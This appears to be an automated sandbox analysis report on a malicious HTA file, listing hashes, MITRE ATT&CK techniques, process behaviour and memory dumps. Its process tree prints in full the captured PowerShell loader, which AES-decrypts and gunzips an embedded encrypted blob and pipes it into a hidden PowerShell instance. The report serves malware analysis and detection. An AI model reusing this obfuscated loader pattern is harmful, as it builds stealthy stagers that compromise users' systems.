fd77b8c213b4a3629abca71de153ddb41b49eff69d781b2222efc16cec7dd04b

General

Target

05022024_2209_singer.hta
Size

72KB
MD5

85c97d1919e8f1936ff6930495892788
SHA1

c547a5c5781d415bbec71189c48ac465a14514a1
SHA256

fd77b8c213b4a3629abca71de153ddb41b49eff69d781b2222efc16cec7dd04b
SHA512

618ebfb23e191c6b03da8ff1e2eca1db378c2ba0f1475d927d00c3a3459e18345c597901d6c622b6e7697db2739924911c9c8ff9d62d19e23dd0e5bb74f45c78
SSDEEP

768:W5sZHTGIH559B0P2pD4Lxj3COqibKnZw/OMN38u1LuvLutoLuV6lYWlY6CJNc1nT:syHKIHz9KP2SLxzj2LBdti5Oz

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2768	powershell.exe
2696	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 1980 wrote to memory of 2768	1980	mshta.exe	28
PID 2768 wrote to memory of 2696	2768	powershell.exe	30
PID 2768 wrote to memory of 2696	2768	powershell.exe	30
PID 2768 wrote to memory of 2696	2768	powershell.exe	30
PID 2768 wrote to memory of 2696	2768	powershell.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\05022024_2209_singer.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gPcKLP = 'AAAAAAAAAAAAAAAAAAAAAEOe1cGTw6FIhVh/QrSMTFJsLkEmx+7VpDV75soo44Xjdoou/gadRv2ptrh1eyowo32jDkJQWIknw9z9eGEASjim8eUsr+iiDt+Gct7uUpEmFrWCP76BB1Cg0KKx0WQlrQJPpv8tYcP+nuI68unNsQgKBhhaMqg4Ou8fdShXjyIUb1O1Cb9CmKoPd891C0RQ3y4FWa07shVCaJHnFdmVEvjhxagF1qVUsx6xC6YMgl3nja922t2x/5SOyqfXR5JLkG6Xb6sKuNaR6QGS2SqteqIAE1vfs9GxXoIUJdarAKngnf1EEFUrDfctZlSR5zT6GLBAZ3kgFZgXH5XxlTf6tcteKZwZS+5X4SlH/spRa84FoPzGZg97K06YSPSft9fcpt7VRhi8ReddyJySyS4F80ZNbvJJrKX7afVObWkzQoASpxWcmgNOQpGJ4ismROQ028geyBvMpcF0Na2L2+fA8kTj6MFPTXF5ELvcldBetLM7umjFZu48uOtlUGPiZSI5Wi1z6pUaJxT8IwxgmefwtXqgTkSXxhfyZoOpb36yMcXCa9W5n0MeGRnBsFFZMawKjOI7HFvVWQhnEXb7yh4kDtwkLDbhOJXtwkeLWJN/OOxEEiA/dza1N5jbhWku9IFWIe/rbKblK7A859gC/pjQd5h0qz4rBdgieeO3GGFAkETIhs+3J1NcMZSf/zbVERD7tY7Mat17qjwa4pFiS8KLv7KI9cYLR/mrJDzBBNXWLqZiJunl8sSYoAdNKNS5niyohs7B3HV73Nf91Mf9GCXDNjt5BcGqqFFHiW6qlxM166yQ41WBsSZP77t/XhpZNGmRPhx84Cfqap6AYmu/N3KfsnY7HQLGmgn9hVJRLskm9I0zf83dhSATZUDBTyCbWPgYaWmWi5LnYe2qtPULS/UhIh4ETTgc33roMdNgLk8Ssfwbt1kqev2L8aSn+FqgADYkufhXrehPAhR+LFQkn9ePGHwMzPxsEVETt2GkqztZUPUx';$EbCNQP = 'S01NeWhUamJYR1B5aWZyUnpwd0lGQXhYUnlvQW11QkI=';$nbGhvR = New-Object 'System.Security.Cryptography.AesManaged';$nbGhvR.Mode = [System.Security.Cryptography.CipherMode]::ECB;$nbGhvR.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$nbGhvR.BlockSize = 128;$nbGhvR.KeySize = 256;$nbGhvR.Key = [System.Convert]::FromBase64String($EbCNQP);$Tpgvz = [System.Convert]::FromBase64String($gPcKLP);$gBOLPdWT = $Tpgvz[0..15];$nbGhvR.IV = $gBOLPdWT;$QcGcbsNZr = $nbGhvR.CreateDecryptor();$RaMEzyHzB = $QcGcbsNZr.TransformFinalBlock($Tpgvz, 16, $Tpgvz.Length - 16);$nbGhvR.Dispose();$tlVz = New-Object System.IO.MemoryStream( , $RaMEzyHzB );$znrzbVZ = New-Object System.IO.MemoryStream;$GdzwFAYYz = New-Object System.IO.Compression.GzipStream $tlVz, ([IO.Compression.CompressionMode]::Decompress);$GdzwFAYYz.CopyTo( $znrzbVZ );$GdzwFAYYz.Close();$tlVz.Close();[byte[]] $mYCOjpH = $znrzbVZ.ToArray();$iMhDGLOW = [System.Text.Encoding]::UTF8.GetString($mYCOjpH);$iMhDGLOW | powershell -
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d1c0a975af3686288fefb1dbbe4cab68

SHA1
2e9cff57cbe01eca85c9011b2185928e2460afe0

SHA256
cf25a52aab796619b66eaa322def3178cc9192fa7b97af3043cbd7aec0bd5291

SHA512
fd0b6388cb3435df03c7ab17dd7746f78ba7c1a4f71464017472f614ac16d88616ee49dfc4ec23dedb7871371a8735ad7977c13e58c8cd533fa9eaa437b0b80b

Download Submit
memory/2696-10-0x00000000720F0000-0x000000007269B000-memory.dmp

Filesize
5.7MB

Download
memory/2696-11-0x00000000720F0000-0x000000007269B000-memory.dmp

Filesize
5.7MB

Download
memory/2696-12-0x00000000720F0000-0x000000007269B000-memory.dmp

Filesize
5.7MB

Download
memory/2768-2-0x00000000720F0000-0x000000007269B000-memory.dmp

Filesize
5.7MB

Download
memory/2768-3-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2768-4-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2768-13-0x00000000720F0000-0x000000007269B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing